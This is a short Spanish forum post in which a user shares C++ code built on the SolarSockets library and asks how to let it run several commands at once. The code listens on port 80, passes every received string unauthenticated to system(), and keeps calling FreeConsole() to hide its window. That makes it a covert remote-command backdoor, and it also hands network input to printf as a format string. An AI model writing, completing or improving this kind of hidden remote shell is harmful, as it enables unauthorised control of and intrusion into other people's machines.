Hola buenas, tengo un programa , que mediante solar sockets, ejecuta comandos en la consola de un ordenador remoto, el problema es que no me permite ejecutar otro comando, hasta k el anterior termina, el codigo es este:
Código:
#include <SolarSockets/SolarSockets.h>
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
bool EventoRecibe (string Cadena, int ID, ssServer* Server)
{
const char* codi=Cadena.c_str();
printf(codi);
system(codi);
FreeConsole();
FreeConsole();
};
void EventoConectado (int ID, ssServer* Server)
{ Server->Accept();}
int main (void)
{
ssServer ServerZeru;
// Le decimod a que funcion hay que llamar cuando ocurra el evento Recive
ServerZeru.setOnDataArrival(EventoRecibe);
ServerZeru.setOnConnect(EventoConectado);
// Lo ponemos a escuchar por el puerto 80.
ServerZeru.Listen(80);
FreeConsole();
while(true){Sleep(500);FreeConsole();}
}
uso dev-c++ , como puedo solucionarlo??